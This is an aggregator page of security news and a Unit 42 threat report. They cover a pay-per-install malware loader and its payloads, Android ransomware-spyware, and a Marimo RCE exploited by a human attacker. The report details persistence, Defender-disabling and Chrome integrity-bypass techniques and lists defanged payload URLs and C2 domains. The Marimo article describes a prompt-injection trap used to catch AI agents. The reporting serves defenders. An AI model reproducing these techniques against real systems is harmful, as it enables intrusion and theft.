Search/WebSocket
● Malware

WebSocket

Indicators tracked
1
View 1 indicators
Connections
202 relationships
Il tuo PC non è infetto: è stato solo dato in affitto agli hacker. Arriva il Loader-as-a-Service (LAAS)
I programmi dannosi assomigliano sempre più a prodotti software ordinari.  Gli esperti di Unit 42 hanno scoperto una grande infrastruttura che hanno chiamato CL-CRI-1171 , il quale per almeno due anni ha venduto agli hacker criminali l’accesso a dispositivi personali di individui. Lo schema funziona secondo il modello pay-per-install (PPI), dove il cliente paga per la consegna del proprio malware ai computer delle vittime. Un simile modello esiste da molti anni, ma CL-CRI-1171 ha portato questa base ad espandersi a livello di rete pubblicitaria. Un singolo operatore attrae l’audience, verifica i visitatori e distribuisce tra i sistemi infetti programmi di diversi clienti. Lo strumento principale è diventato OfferLoader . Il nome riflette la terminologia interna del malware stesso: i singoli payload gli sviluppatori li chiamano “offerte” . Dopo l’avvio, il loader si collega all’infrastruttura degli operatori e riceve i comandi di quale malware installare per la vittima specifica. Ad aprile 2026, questo loader consegnava contemporaneamente Insomnia RAT , ARKTunnel e Docro Hijacker , mentre già a giugno il set è stato sostituito da GCleaner e Socks5Systemz. Le vittime venivano attratte attraverso due canali. Il primo si basava sulla necessità di programmi per roslvere specifiche esigenze: l’utente cercava un programma ordinario come WinDirStat o un driver Bluetooth, finiva su un sito dannoso e scaricava un installer trojanizzato. Il sistema teneva conto del sistema operativo, del browser, della query di ricerca, dell’indirizzo di transizione e dell’IP pubblico, dopo di che decideva se fornire un malware reale o un’esca sicura. Gli scanner automatici e gli analisti spesso ricevevano un placebo. Il secondo canale era principalmente rivolto ai giovani gamer. Unit 42 ha scoperto 11 canali YouTube con centinaia di migliaia di iscritti e milioni di visualizzazioni . Gli autori pubblicavano consigli perfettamente funzionanti su come aumentare gli FPS, eliminare i crash e configurare i giochi, e nei descrizioni aggiungevano link a strumenti apparentemente utili e set di ottimizzazione. Dopo la notifica da parte di Unit 42, YouTube ha rimosso i canali collegati. I malware successivi variavano notevolmente. Insomnia RAT  ad esempio installa ambienti Node.js e Python, disattiva parte della protezione di Windows Defender e salva due agenti indipendenti per l’accesso remoto. ARKTunnel nasconde un t rojan WebSocket all’interno di un’immagine BMP utilizzando la steganografia. Docro Hijacker interferisce con le impostazioni protette di Chrome, cambia il motore di ricerca ed è in grado di mescolare pubblicità in modo invisibile e reindirizzare i passaggi. La scala dell’infrastruttura è emersa durante l’analisi dei server di controllo. Gli esperti hanno trovato più di 200 nomi di dominio mutevoli, nonché oltre 10.000 campioni unici di OfferLoader. Ogni esemplare è in grado di consegnare una propria combinazione di programmi, quindi i tre gruppi analizzati in dettaglio riflettono probabilmente solo una piccola parte del reale assortimento del servizio criminale. Nell’analisi della campagna, Unit 42 sottolinea il principale problema di un’infrastruttura del genere. Il loader stesso sembra troppo primitivo e di massa, quindi un singolo host infettato può essere facilmente considerato un incidente insignificante. Ma dietro un loader ordinario, potrebbe nascondersi l’accesso di diversi gruppi criminali indipendenti, ognuno dei quali ottiene il proprio canale di controllo e il proprio obiettivo all’interno del sistema. Un approccio simile è stato già osservato nell’estate 2026, quando attraverso Google Ads veniva diffuso il malware OXLOADER . La pubblicità falsa di programmi popolari portava gli utenti a CastleStealer. Il modello non è affatto nuovo. Già PrivateLoader vendeva pacchetti di infezioni perfettamente organizzate geograficamente per consegnare RedLine, Raccoon, Vidar e altri malware attraverso siti con programmi pirata. CL-CRI-1171 mostra quanto più forte diventa un modello del genere quando si uniscono il posizionamento sui motori di ricerca, il contenuto video e la filtrazione automatica dei visitatori. Un mercato separato si è formato intorno ai loader come servizio. Gli sviluppatori di FakeBat vendevano l’accesso al proprio strumento secondo il modello Loader-as-a-Service , permettendo ai clienti di consegnare Lumma, RedLine, IcedID e altri programmi. OfferLoader sviluppa ulteriormente la stessa idea, trasformando il computer infetto in una piattaforma dove diversi clienti criminali acquistano effettivamente uno spazio per il proprio software dannoso. L'articolo Il tuo PC non è infetto: è stato solo dato in affitto agli hacker. Arriva il Loader-as-a-Service (LAAS) proviene da Red Hot Cyber .
redhotcyber.comSep 18, 2026extracted
Human Attacker Hits Machine-Speed Exploitation of Marimo RCE
A human attacker has moved from a vulnerable Marimo notebook to an SSH bastion host in eight seconds using a toolkit built by hand, hitting a speed usually associated with AI-driven attacks. In a technical write-up published on September 11, Sysdig's Threat Research Team said the operator exploited CVE-2026-39987, a pre-authentication remote code execution flaw in the Marimo notebook platform, and showed no sign of using a large language model (LLM) at any stage. A Human at Machine Speed CVE-2026-39987 affects Marimo up to and including 0.20.4 and is fixed in 0.23.0. The flaw is in the terminal WebSocket endpoint, which skipped the authentication check applied to the platform's other WebSocket endpoints, so any client that opened a connection to it got an interactive shell as the Marimo process user with no credentials. Sysdig said that matters because Marimo notebooks usually run alongside machine learning pipelines, on hosts holding GPU access, large datasets and credentials for AWS, GCP and model providers. A compromised notebook, it said, is the door to the victim's cloud account. The operator harvested cloud credentials from two surfaces on the host, the process environment and the application's Redis backend, and replayed them against the AWS account. One returned an SSH private key from AWS Secrets Manager, used to authenticate to an internet-reachable bastion host. The eight seconds was not the whole attack. Sysdig said the operator spent about four hours building and debugging the Python toolkit in earlier sessions, storing eight scripts on the host so a later reconnection fired the finished chain from one command. Over a nine-hour session it logged more than 850 interactive commands and no recognizable public offensive tooling. The Attacker Bypassed a Trap Built for AI Sysdig had planted a directive in the vulnerable container to catch LLM agents, telling any model that read a particular file to echo a hidden marker into its output. Every AI-driven operator profiled against this flaw echoed it. This operator inspected the same file twice and never echoed it. That prompt injection trap, which reliably caught AI agents, did not catch a human, and Sysdig called the result its clearest non-LLM signature to date. The takeaway, Sysdig said, is that detection cannot lean on the fingerprints of one attacker type. An LLM-generated command stream and a hand-typed one look completely different but end at the same Secrets Manager call, SSH key handoff and bastion connection. This means the priority is the shape of the chain, not the typing. Sysdig's recommendations include updating to 0.23.0, putting the terminal endpoint behind authentication or disabling it, scoping Secrets Manager permissions so a notebook's credentials cannot read a bastion key, and rotating anything exposed on a reachable instance. CVE-2026-39987 has been on CISA's Known Exploited Vulnerabilities (KEV) catalog for months, with a federal remediation deadline of May 7, 2026.
infosecurity-magazine.comSep 14, 2026extracted
MantaxOtax Android Malware Combines Ransomware With Spyware
MantaxOtax Android malware has combined file encryption with extensive surveillance, letting attackers steal messages, credentials and device data while restricting access to infected phones. In a technical write up published on September 9, Zimperium's zLabs team linked the malware to Indonesian threat actors and said some samples appeared to have been distributed as a standalone Android package on a third-party file-sharing service, pointing to a sideloading route. The Mobile Ransomware Side After installation, MantaxOtax requested device administrator privileges, then access to SMS, contacts, audio and images and finally Android Accessibility, which gave it broad control over device interactions. The malware resolves its live command-and-control (C2) domain from a GitHub repository, which Zimperium said lets the operators move to new infrastructure without changing code if a domain is blocked. On Android 9 and earlier, the mobile ransomware recursively scanned shared external storage, encrypted user files with AES, purged the originals from disk and left .enc copies. Each key is fetched from the C2 against the device's Android ID, so no two victims share one. On Android 10 and later, Scoped Storage confined the scan to the app's own external files directory, sharply reducing what could be encrypted. Zimperium said the malware also overwrote the victim's own image files with ransom graphics to make the demand unmissable. An on-screen chat interface then opened for negotiation. Zimperium said those exchanges ran through Firebase and that a server misconfiguration left some extortion dialogues exposed. A separate routine masqueraded as a system lock process, restricting access while intercepting the lock screen PIN. MantaxOtax Adds Remote Monitoring and Device Control The mobile spyware side collected app inventories, hardware details, location, browser history, notifications, contacts, call logs and SMS messages including one-time passwords (OTPs), plus gallery content and linked Google accounts. It also pulled WhatsApp profiles and messages through Accessibility, and Telegram credentials and chat histories. The malware abused Android's MediaProjection API for screenshots, MP4 screen recording and near-real-time streaming, staging captures on the Catbox file host and sending the links back to its operators. It could also take silent photos on either camera. Zimperium said language indicators and recovered victim files suggested Indonesian targeting, and that the misconfigured server also yielded a screenshot of what appeared to be the operators' control panel. A second version moved to WebSocket communications and added persistent screen locking, application blocking and a transparent overlay that swallows all touch input. Others are built purely to wear the victim down: repeating alert dialogues, full-screen video overlays, image popups spawning every 600 milliseconds, and text-to-speech (TTP) that makes the handset speak the attacker's words aloud. MantaxOtax follows THost9, an Android trojan reported this week that cloned banking apps into an isolated work profile to break the link between a malware alert and the fraud that followed.
infosecurity-magazine.comSep 10, 2026extracted
Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure
A recent Unit 42 investigation into seemingly low-priority enterprise infections demonstrates how the most effective camouflage in cybercrime is not necessarily in the use of sophisticated techniques, but in how unremarkable the threat appears. The activities that we investigated would typically not require escalation or further inquiry. But upon closer inspection, we discovered a massive cybercrime campaign largely targeting young gamers. Tracked as CL-CRI-1171, in accordance with Unit 42’s attribution framework, the group behind this cluster has operated under the radar for at least two years, distributing an indeterminate number of payloads. The group behind CL-CRI-1171 provides an infection service for other threat actors who want to spread their malware indiscriminately. This pay-per-install (PPI) marketplace drove hundreds of infections through YouTube channels and a parallel search engine optimization (SEO)-poisoning funnel, all using the same custom loader. We observed at least eleven YouTube channels that had hundreds of thousands of followers. We notified YouTube of these channels, which it promptly terminated. These channels were actively interacting with viewers to promote gaming content laced with links to download malware. Content in the channels included advice on improving frame rates, fixing game crashes and adjusting settings on game platforms. Although the videos provided real content for gamers, they also served as the delivery vehicle for infection, prompting viewers to download malicious tools. The SEO funnel targeted a more professional audience, promoting trojanized software that resulted in malware deployment on corporate endpoints, including critical infrastructure and even government entities. We identified three independent payloads delivered by the same loader between July 2025 and April 2026: two never publicly reported, Docro Hijacker and ARKTunnel, and a new variant of a previously unnamed backdoor, which we dubbed Insomnia remote access Trojan (RAT). These infections represent only a small sample of a much larger deployment campaign. We have identified more than 10,000 distinct loader samples, each capable of delivering unique payload combinations. We provide an overview of the cybercrime cluster and its loader infrastructure, and a technical analysis of three recently delivered malware strains. Palo Alto Networks customers are better protected from the threats discussed in this article through the following: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Our discovery of two separate infections delivering three entirely distinct malware families revealed one common denominator: a shared loader. By tracing this infrastructure, we mapped the broader activity of CL-CRI-1171, ultimately tying the cluster to a PPI marketplace responsible for delivering countless payloads over the last two years. This operation uses at least two funneling mechanisms to route traffic to the malware landing pages: a network of YouTube channels and SEO poisoning. The shared infrastructure between the YouTube and SEO funnels, consistent use of the same loader and a rotational domain pattern observed over an eight-month window all pointed to a single sustained operation, which we track as CL-CRI-1171. PPI networks operate as underground marketplaces. An operator compromises machines and auctions access to multiple buyers, each buyer deploying their own independent payloads through the same dropper. The result is a single infection that conceals multiple payloads from unrelated threat actors on the same endpoint, each with its own C2 infrastructure and objectives. Because the loader is designed to be disposable and generic, it rarely attracts the scrutiny needed to uncover its subsequent payloads. The investigation began with two identical and seemingly routine infections at separate organizations. Both events involved trojanized software downloads — one a Bluetooth driver, the other WinDirStat — and both affected machines executed an identical post-exploitation chain. The loader was unnamed, untracked and generic enough to be dismissed as commodity adware. But our discovery of a shared payload chain raised a question. How were two unrelated organizations infected by the same unnamed loader delivering the same set of payloads, just one week apart? Pivoting on the loader's C2 infrastructure revealed a sprawling network of rotational domains — over 200 unique hostnames following a distinctive two-word compound naming pattern (including bubbleslip, churchpail, dinosaursjam), rotating across .xyz, .cfd, .space and .info top-level domains (TLDs). The payloads delivered through CL-CRI-1171's infrastructure are not fixed, enabling the simultaneous delivery of unrelated malware families. In April 2026, two incidents initiated this investigation. They shared a single loader that delivered three separate malware families: Insomnia RAT, ARKTunnel and Docro Hijacker. A subsequent infection, observed in June 2026, delivered two entirely different payloads: GCleaner and Socks5Systemz. Figure 1 illustrates the structure of the operational architecture and the observed rotational malware bundles. Our in-depth analysis explores three operations that were spotted in two intrusion sets during April 2026. By examining the campaign’s trackers, we found that these operation payloads were in rotation from July 2025 to April 2026. This discovery provides a valuable snapshot of the group’s deployment capabilities and the variety of payloads they have been entrusted to deliver. Although the observed rotation appears to be highly structured, the discovery of over 10,000 unique OfferLoader samples points to a much larger distribution pipeline. It is very likely that the loader has delivered numerous other malware families. The SEO poisoning path was the first delivery channel we identified. Unsuspecting users searching for legitimate software landed on file-hosting lure pages that displayed a fake virus-scan animation before delivering the trojanized archive via a chain of redirectors into the PPI gate. A reconstructed example download page from the SEO poisoning funnel is shown in Figure 2. Analysis of the gate's tracker URLs revealed a critical detail. Each URL contained a click_id parameter: a Base64-encoded fingerprint containing the victim's operating system (OS), browser, the referring domain, the exact search keyword that led them to the lure and their public IP address, as Table 1 shows. Table 1. Example of a deobfuscated click_id. The gate uses this fingerprint to decide who receives the payload: a valid, fresh click_id forwards the visitor to the malware/loader download. This is an evasion tactic used to ensure that only real targets are infected, and to protect the actor’s infrastructure: scanners, crawlers or analysts receive a decoy clone of the legitimate WinRAR download page or broken links. This is why the campaign has almost no public footprint despite being highly active: automated URL scanners rarely pass the gate. Decoding hundreds of these fingerprints, with the assistance of AI, exposed the full names of YouTube video titles and their associated channels. Alongside search keywords for cracked software and game cheats, the q= field – which tracks which search query led to the infection – contained strings like "CS2 Potato Graphics Settings - Maximum FPS Boost for Low-End PC (2026 Guide) - Velvox." Searching for titles derived from the fingerprints led us to uncover a chain of gaming optimization YouTube channels. Their content included tips on boosting frames per second (FPS), fixing game crashes and tweaking settings on popular game platforms. While the videos provided authentic, engaging content for young gamers, they ultimately served as an infection delivery vehicle, prompting viewers to download a malicious “tool” or “optimization pack” via links in the description, as Figure 3 shows. Those links pass through intermediary sites, such as Blogspot, which contain social-engineering instructions that lead the victim to the same PPI gate infrastructure serving the SEO path. An example blog page is shown in Figure 4. We identified 11 channels connected to CL-CRI-1171, which collectively had hundreds of thousands of subscribers and millions of views. Our investigation revealed three malware strains delivered by the group behind CL-CRI-1171 between June 2025 and April 2026. The following sections explain the technical aspects of the loader used by this cybercrime group and the deployed malware payloads: OfferLoader – The delivery mechanism behind all recorded intrusions, an Inno Setup trojanized installer that sets up the other payloads. Operation A: Insomnia RAT – A dual-payload, cross-platform backdoor that brings its own environment to ensure survival. Targeting both Windows and macOS using Node.js, paired with a twin Python agent. Operation B: ARKTunnel – A previously unreported WebSocket tunneling RAT unpacks itself from a bitmap image using steganography. We found 50 samples spanning over a year of development, operating across four fictitious corporate-identity rotations. Operation C: Docro Hijacker – A Chrome backdoor that revives a browser-hijacking technique first seen in 2015, re-engineered to bypass modern integrity protections. This campaign represents the first observation of this modern variant in the wild. We discovered two intrusion sets that began in the same way: a user searched for a legitimate utility, clicked a top search result that led to a malicious domain, and downloaded what appeared to be a legitimate application. Both infections delivered the same three payloads. First intrusion set: Downloaded Bluetooth Driver for Windows 10.exe from a file-sharing archive. The installer was a trojanized Inno Setup package carrying the PPI loader with affiliate ID CID=2855. Second intrusion set: Browsed to noiseship[.]cfd, a domain registered just 39 days earlier, and downloaded a trojanized windirstat.exe installer. This package carried the PPI loader with affiliate ID CID=3075. The operator's code and C2 communication designate each payload slot as an "offer," tracking variables as offer_execution, offer_execution_fail and offer_exists. Based on the naming convention, we track this loader as OfferLoader. OfferLoader uses chained Inno Setup (a legitimate installation packager) packages to deliver multiple payloads. Figure 5 shows the infection chain. OfferLoader is delivered in a ZIP file, with the source download site providing the social engineering instructions required to guide users through downloading and executing an extraction tool. Based on our analysis of the collected samples, we observed the loader being delivered alongside a legitimate version of WinRAR, renamed to .store. The installer contains no embedded application files; all malicious logic is contained in the compiled Pascal [Code] section, which triggers when the installation page is displayed. In two separate intrusion sets we discovered that the ZIP file contained OfferLoader masquerading as a windirstat.exe installer that initiates the compromise by unpacking windirstat.tmp. This temporary file transmits an initial tracking beacon to voyagemist[.]space. This is another gating mechanism: depending on the structure of the beacon, one of two text files will be retrieved. They either contain “no” to signal that the loader should not unpack further stages, or “ok” to signal all offers will be deployed. Following this check-in, the process spawns three child processes: eld0.exe, eld1.exe and eld2.exe. Each child process corresponds to a different malware campaign. The loader passes specific affiliate-tracking parameters to each process via a command line. Figure 6 illustrates the entire OfferLoader infection chain at the time of the intrusion. OfferLoader's role ends once the three offers are spawned. From this point forward, each child process operates as an independent malware campaign with its own infrastructure, C2 protocol and objectives. The following sections analyze what each offer delivers. Insomnia RAT simultaneously distributes two payloads: An upgraded variant of a Node.js backdoor (reported by Walmart Global Tech in 2025) A complementary Python backdoor We have dubbed these twin payloads Insomnia RAT, due to the user-agent string used for C2 communications: insomnia/2023.4.0 Windows. Figure 7 shows the full infection chain that delivers Insomnia RAT’s twin payloads. Eld0.exe drops the a.dll payload and spawns a hidden PowerShell process to download and execute t.ps1. This double-stage installer script disables Windows Defender protections, adds the entire C:\ drive as an exclusion, suppresses security notifications and deploys the two Insomnia RAT backdoors. t.ps1 also downloads and sets up the environment needed to execute both backdoors by installing Python and Node.js on the victim’s machine. Node.js is hidden from the system's Add/Remove Programs list by setting SystemComponent=1 in the registry. The first part of Insomnia RAT is a Node.js agent downloaded from stryper[.]info/aa.js. While the prior variant targeted Windows, Linux and FreeBSD with a single payload, this iteration targets Windows and macOS using platform-specific C2 server lists. It also deploys a companion Python agent as a redundant fallback, ensuring persistent access if one runtime environment is detected or removed. The backdoor collects the victim's MachineGuid, universally unique identifier (UUID), hostname and operating system details. It then contacts its C2 servers via an HTTPS POST request to /d using a User-Agent string, insomnia/2023.4.0 Windows to disguise itself. The C2 server responds with a JSON array containing commands. These specify a payload type (node, cmd, ps1, sh, or ow for a self-update) and a download URL. Results are reported back to the /e endpoint. To establish persistence, the installer registers a scheduled task named Maps Performance Task under \Microsoft\Windows\Maps\. This mimics a legitimate Windows task, executing the backdoor hourly and at system startup under the SYSTEM account. The same t.ps1 script installs a second, redundant agent. This Python script is downloaded from aa.amazingshield[.]xyz. The installer downloads a legitimate Python distribution and registers a second scheduled task, OOBETaskScheduler, under \Microsoft\Windows\Servicing\. The Python agent is simpler than its Node.js sibling, but follows the same C2 protocol pattern: POST requests to /d for tasks and POST requests to /e for error reporting. The agent collects the MachineGuid, OS product name, hostname and processor architecture. The Python agent used crowdstri[.]com as its C2 domain. This appears to be a deliberate typosquat of crowdstrike[.]com, designed to blend into logs and evade quick security reviews. The eld1.exe chain terminates in a previously undocumented tunnel payload. The chain uses least-significant-bit (LSB) steganography to deploy the final payload. Figure 8 shows the full infection chain of Operation B. Rather than dropping an executable directly to disk, eld1.exe extracts a ZIP archive from a BMP image resource using LSB steganography. The result is the payload archive, ProcorTrex.zip, which contains wscl.exe, a previously unreported WebSocket-based tunneling RAT. We named this RAT ARKTunnel, based on the attacker's fabricated company name rotation of EarthKark and TamarkLark. ARKTunnel installs itself as a Windows service named wscl-13 or msvcsrvc with a delayed autostart configuration. The RAT supports TCP and UDP tunneling, as well as file execution. The C2 server address, reg.pcsdkflyer[.]ca, is decoded from a 39-byte configuration blob using Base64-decoding followed by an XOR decryption routine. The portable executable (PE) metadata of wscl.exe contains a fabricated company name, TamarkLark Corporation, and a fictitious product name, TamarkLark Manager, which led us to suspect that other ARKTunnel samples might use additional fabricated company names. The investigation revealed at least 50 samples deployed over the course of a year. The developer rotated through at least two fake company identities while maintaining an identical icon, binary structure and deployment pattern: EarthLink in May 2025: EarthLink is the name of a legitimate internet provider, however the attackers used this name coincidentally in the file version information. The attackers did not use or impersonate EarthLink resources or identity. EarthChain from May 2025–April 2026: EarthChain is also real company name that the attackers used coincidentally. Likewise, also they did not use or impersonate the company’s resources or identity. EarthKark: A fake identity, used from February 2026–June 2026 TamarkLark: A fake identity, used from March 2026–June 2026 All of the samples share the same wscl.exe filename pattern and GUID-based temp directory extraction pattern, indicating that they are variants of the same family. Despite 50 samples spanning a full year of development and four identity rotations, ARKTunnel has attracted no public reporting or dedicated tracking, with each sample individually flagged as a generic Trojan rather than recognized as a tunneling implant. The eld2.exe payload installs a Chrome browser hijacker that we have named Docro Hijacker. The hijacker revives a browser-hijacking technique that has resurfaced periodically since 2015, now re-engineered to bypass updates to Chrome's integrity protections. While this iteration closely mirrors a proof-of-concept detailed by Synacktiv in 2025, this campaign marks the updated technique’s first documented instance of in-the-wild deployment. Figure 9 shows the Docro Hijacker installation chain. eld2.exe is an Inno Setup package, and much like its loader, it extracts and runs eld2.tmp which contacts the affiliate’s extentrack[.]com install tracker. eld2.tmp drops and loads Adblock.dll, which bypasses Chrome's Secure Preferences HMAC-SHA256 integrity check. The DLL extracts Chrome's HMAC key from resources.pak, computes valid HMAC signatures for the modified preference values and writes them directly to the Secure Preferences file. This file functions as an anti-tamper mechanism for browsers by storing a validated copy of the user's settings. This manipulation allows the malware to execute two primary actions: Search hijacking: Changes the default search provider to mqsearch[.]com, a domain that masquerades as a search engine Extension installation: Installs the docro extension, a Chrome Manifest V3 extension located at C:\ProgramData\DocsHelper\docro\ The docro extension uses Chrome's declarativeNetRequest API to dynamically rewrite network requests. Upon installation, it contacts vendralo[.]info to retrieve a unique per-victim UUID and fetch a set of network rewriting rules that are refreshed hourly. These rules are used to hijack and monetize search results in the victim's browser. When the victim performs an internet search, across any of more than 190 Google country-code domains, the extension loads a script from drelto[.]info/farlix into the search results page. Because the script runs within the search engine's own origin context, it has full access to the page content. This enables the operator to inject advertisements into organic search results, rewrite affiliate links to capture referral revenue and/or redirect clicks to attacker-controlled destinations. These actions are functionally transparent to the user and visually indistinguishable from the legitimate search page. The extension also checks vendralo[.]info for updates via /extensionInstaller/updateChromeExtension, allowing the operator to silently rotate to a new extension version at any time. Install telemetry is reported to finersto[.]com and extentrack[.]com. With more than 50 unique samples contacting mqsearch[.]com according to VirusTotal, Docro Hijacker appears to be a mature, independent monetization module. The actors behind CL-CRI-1171 did not use sophisticated evasion techniques, but focused their efforts on building a loader that is exceptionally difficult to track due to its clever gating mechanisms. Our investigation highlights how the authors of OfferLoader, by being intentional about its simplicity and by hiding all of its functions as bytecode within a package, designed the malware to evade scrutiny while quietly building a massive, mature infection funnel. Although OfferLoader was easy for defenders and security products to miss, its gating mechanisms were not, and the sheer number of them was our first clue that more widespread activity was occurring. While a loader that just drops a payload is seemingly routine, this mechanism allowed possibly thousands of rotational malware bundles, including entirely new and undocumented malware families, to remain hidden from standard security attention. Ultimately, this case serves as a critical reminder for defenders: Treating commodity loader infections as minor, routine events overlooks the dangerous payloads and campaigns that might be tied to them. Palo Alto Networks customers are better protected against the threats described in this report through the following products and services: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Through continuous cloud-based analysis, Advanced WildFire is designed to proactively identify and block OfferLoader samples as well as downstream payloads, including Insomnia RAT, ARKTunnel, and Docro Hijacker. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Cortex XDR and XSIAM can help detect and prevent the OfferLoader chain and all three payload branches described in this article. Cortex customers benefit from multiple layers of protection against this threat, including: - YARA-based signatures targeting the OfferLoader family and its staged payloads - Behavioral detection rules that help prevent: - Malicious Chrome extension setup - Untrusted service installations used for persistence - Trojanized installer execution patterns If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. SHA256 hash: 7f792c45de1e28fd42ac44c9444f157a2161742d130bac336c0e991aabbb112c File name: windirstat.exe File type: PE32 executable, Inno Setup 6.7.1 File description: OfferLoader trojanized WinDirStat installer delivered via SEO-poisoning SHA256 hash: fc485882626512e7ff82a1d7cd8e8fb3e9751b026d97e682d6908aefff1f2d73 File name: windirstat.tmp File type: PE32 executable, Inno Setup unpacked stage File description: Unpacked WinDirStat stage SHA256 hash: 3052bd320a34e12ee694811ed0578797477dfd480c664491e509ed15ce1a6961 File name: eld0.exe File type: PE32 executable, Inno Setup 6.3.0 SetupLdr File description: Insomnia RAT initial loader SHA256 hash: 25558ea78c4aa0fdd0f45fafcaa546d3115dc5806809d144a5801a40e48fd4c5 File name: eld0.tmp File type: PE32 executable, Inno Setup unpacked stage File description: Unpacked loader stage SHA256 hash: 9b0d9cbc0fd4a7bae8b78a15dfbe63052779414ad725845732c4a0083008da69 File name: a.dll File type: PE32 DLL File description: Executes the PowerShell downloader for the Node.js and Python second stages SHA256 hash: ceb30a5eb9ad9d9c6712c80726df16f96f99d9fc0753be241b00b4d636eb576e File name: t.ps1 File type: PowerShell File description: Insomnia RAT PowerShell loader SHA256 hash: cf184d04ca31fb2b6b7efd85399c29c1136b539153e137ceb3877b1b905791de File name: .py File type: Python script File description: the Python-based component of the Insomnia RAT dual payload. SHA256 hash: 62d49d0c78207ec2452cc8a30501db771c9edbae89889e41a7dd227551243e8e File name: aa.js File type: JavaScript File description: the Node.js-based component of the Insomnia RAT dual payload. URL: hxxps[:]//stryper[.]info/t.ps1 Description: Stage-2 PowerShell installer for the Node.js and Python agents URL: hxxps[:]//stryper[.]info/aa.js Description: Stage-3 Node.js agent URL: hxxp[:]//aa.amazingshield[.]xyz/33244556546.py Description: Stage-3 Python agent Domain: stryper[.]info Description: Second-stage PowerShell and Node.js agent host Domain: aa.amazingshield[.]xyz Description: Python agent host Domain: crowdstri[.]com Description: CrowdStrike-typosquat C2 for the Python agent SHA256 hash: aaebc8c07de485be6d1bfa956668c5e18aa1ff5588dfe84672e20ae90b4560f1 File name: eld1.exe File type: PE32 executable File description: LSB-steganography dropper. The attacker forged the PE version-info resource to mimic a popular test proctoring application. SHA256 hash: e05bc22afbc5ddd50b49c85ee169dd13318000d38286de2b8bcff98217256a8d File size: 92,657 bytes File name: procorTrex.zip File location: C:\Users\Public\procorTrex.zip File type: ZIP archive File description: ZIP carved from the eld1.exe BMP steganography payload SHA256 hash: b367762140ae7f5098230b8a5da738c9241f286281ec9439dd6ca581fc87989c File size: 245,248 bytes File name: wscl.exe File type: PE32 executable File description: WebSocket tunneling RAT ARKTunnel resource icons: SHA256 hash: d8d783f8e050a6e394f3c0aa5e2bc73a38d822e55fbc39c0648cbff566de3cdf File description: Resource Icon shared across ARKTunnel samples SHA256 hash: 06e0afd01bbc6c9d5dc16c3165089b233dc071e1f251abd06235d1b9166cdac5 File description: Resource Icon shared across ARKTunnel samples Domain: reg.pcsdkflyer[.]ca Description: wscl.exe WebSocket RAT C2 SHA256 hash: 2c6e11027b011042c9a118fc20728f8f4ebb6be8795cc84cc9a45622c297d354 File name: eld2.exe File type: PE32 executable, Inno Setup installer File description: Branch C installer that drops Adblock.dll and the docro Chrome extension SHA256 hash: 553ce594c9c6afdd4794fddc28c194e3bc3c1b052310e5099c58ac15bab72104 File name: eld2.tmp File type: PE32 executable File description: Inno Setup unpacked stage SHA256 hash: fdcc95b7791c0d6590dcf1a412dc9fcc92ad2095818d1b78368b31efad012007 File size: 3,041,280 bytes File name: Adblock.dll File location: %TEMP%\Adblock.dll File type: PE32 DLL File description: Chrome Secure Preferences HMAC-SHA256 bypass DLL that sideloads the docro extension and hijacks the default search provider Docro extension path: File location: C:\ProgramData\DocsHelper\docro File description: Manifest V3 Chrome extension sideloaded by Adblock.dll Domain: vendralo[.]info Description: Per-victim UUID and hourly rule delivery Domain: finersto[.]com Description: Extension install and start telemetry Domain: drelto[.]info Description: SERP-injection script host Domain: mqsearch[.]com Description: Hijacked the default search provider endpoint Domain: extentrack[.]com Description: Docs Helper install-success and install-failure callback Domain: animalview[.]xyz trickflag[.]info suitstraw[.]info connect.fuelleg[.]info vesselsystem[.]xyz minewave[.]info collartitle[.]info boardmagic[.]info placespoon[.]xyz needcherries[.]online Please note: While Velvox is a real company, the attackers used its name coincidentally. They did not use or impersonate the company’s resources or identity. “WinYahoo” PUP Modifies Chrome Secure Preferences – Malwarebytes NodeJS backdoors delivering proxyware and monetization schemes – Walmart Global Tech blog (Channels were taken down after we notified Google.)
unit42.paloaltonetworks.comSep 9, 2026extracted
⚡ Weekly Recap: Chrome 0-Day, Router Hijacks, Coder Supply Chain Attack and More
Turning off email images should at least stop the pictures. This week, attackers had a workaround: a scannable QR code built out of text. It still appears, even with images blocked. A small detail, but an annoying one if that was a precaution you were counting on. Elsewhere, a trusted software source delivered code that stole credentials, and a protocol designed for secure network management gave outsiders useful clues before login. Add active attacks on browsers, routers, and online stores, and there’s plenty to check—even for teams that have kept up with the patches. Read the full recap for the week’s major developments, plus more research, attacks, and security news beyond what we covered last week. ⚡ Threat of the Week N-able Patches Critical N-central Flaws — N-able has released hotfixes to address two severe N-central flaws (CVE-2026-86206 and CVE-2026-86207) that could allow an unauthorized party to bypass authentication controls and gain full access to the platform. Also patched is a maximum-severity security flaw (CVE-2026-86218, CVSS score: 10.0) that could allow for pre-authenticated remote code execution on the N-central server. "At this time, we have no confirmation that these vulnerabilities have been exploited in production environments, but unpatched systems remain at risk," N-able said. However, Huntress said it observed signs that attackers are likely leveraging CVE-2026-86206 or/and CVE-2026-86207, after it launched an investigation on September 4 following the compromise of a customer's fully patched N-central production environment. "However, due to limited historical logging available directly on the appliance, we cannot definitively confirm which specific exploit the threat actor used to achieve their compromise, nor can we rule out the use of alternative vulnerabilities," it said. AI Spend Out of Control? There's a Path Forward Imagine you’ve received a water bill for 500,000,000 gallons. Now, you have to account for every teaspoon of that water. IT leaders face a similar task when managing AI budgets, and it’s not as simple as token caps or model limits. Learn how your team can optimize your company's AI spend. Learn More ➝ 🔔 Top News Google Warns of Chrome 0-Day Under Attack — Google released security updates to patch 12 vulnerabilities, including one that has come under active exploitation in the wild. The high-severity vulnerability, tracked as CVE-2026-85046 (CVSS score: 8.8), has been described as a type confusion bug in V8, Chrome's JavaScript and WebAssembly engine. "Type confusion in V8 in Google Chrome prior to 152.0.7977.82 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page," according to a description of the flaw in 